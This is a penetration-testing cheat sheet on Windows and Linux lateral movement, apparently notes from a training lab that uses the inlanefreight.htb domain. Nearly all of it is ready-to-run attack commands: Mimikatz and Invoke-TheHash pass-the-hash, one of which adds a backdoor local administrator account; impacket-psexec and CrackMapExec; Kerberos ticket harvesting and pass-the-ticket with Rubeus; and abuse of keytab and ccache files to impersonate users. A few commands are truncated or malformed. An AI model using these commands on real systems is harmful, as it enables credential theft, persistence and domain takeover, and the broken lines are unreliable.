Windows Lateral Movement

Pass The Hash (Mimikatz)

mimikatz.exe privilege::debug "sekurlsa::pth /user:<user> /rc4:<hash> /domain:inlanefreight.htb /run:cmd.exe" exit

Pass The Hash (Invoke-TheHash)

# Import Module
Import-Module .\Invoke-TheHash.psd1

# Pass The Hash
Invoke-SMBExec -Target <IP> -Domain <domain> -Username <username> -Hash <hash> -Command "net user 0xF0rk Password123 /add && net localgroup administrators 0xF0rk /add" -Verbose

# With WMI
Invoke-WMIExec -Target DC01 -Domain <domain> -Username <user> -Hash <hash> -Command "powershell -e <base64 command>"

Pass the Hash Impacket (Linux)

impacket-psexec administrator@<IP> -hashes :<hash>

Pass The Hash CrackMapExec (LInux)

crackmapexec smb <IP> -u Administrator -d . -H <hash> --local-auth

Pass The Hash RDP

# Enable RDP
reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f

xfreerdp  /v:<IP> /u:<user> /pth:<hash>

Harvesting Tickets From Windows

# Mimikatz
## Check Privs

# Show Tickets
sekurlsa::tickets /export

# Rubeus
Rubeus.exe dump /nowrap

Pass the Key or OverPass the Hash

# Mimikatz Extract Keys

# Mimikatz OverPass the Hash
sekurlsa::pth /domain:inlanefreight.htb /user:<user> /ntlm:<rc4_value>

# Rubeus
Rubeus.exe  asktgt /domain:inlanefreight.htb /user:plaintext /aes256:<aes256_hmac_Value>

Pass the Ticket (PtT)

# Rubeus
## /ptt -> current session
 Rubeus.exe asktgt /domain:inlanefreight.htb /user:plaintext /rc4:<rc4_value>

# Import .Kirbi 
Rubeus.exe ptt /ticket:file.kirbi

# Base64 Encode .Kirbi

# Import With Base64
Rubeus.exe ptt /ticket:<base64>

Pass The Ticket PowerShell Remoting

# Import Ticket
kerberos::ptt "file.kirbi"

# Enter PC
Enter-PSSession -ComputerName <computername>

Pass The Ticket (From Linux)

Check Linux Machine Domain Joined

realm list

ps -ef | grep -i "winbind\|sssd"

Find Keytab Files

find / -name *keytab* -ls 2>/dev/null

Find ccache Files

A credential cache or ccache file holds Kerberos credentials while they remain valid and, generally, while the user's session lasts.

env | grep -i krb5

Abusing KeyTab Files

# Klist List Keytab files
klist -k -l

# Impersonate Other User
kinit carlos@INLANEFREIGHT.HTB -k -t /opt/specialfiles/carlos.keytab

# Verify 

Keytab Extract

python3 /opt/blackbuntu/ file.keytab

Abusing Keytab ccache

To abuse a ccache file, all we need is read privileges on the file. These files, located in /tmp, can only be read by the user who created them, but if we gain root access, we could use them.

# Import ccache file
export KRB5CCNAME=<fileL

# Able to read DC
smbclient //dc01/C$ -k -c ls -no-pass

Convert ccache file for Windows

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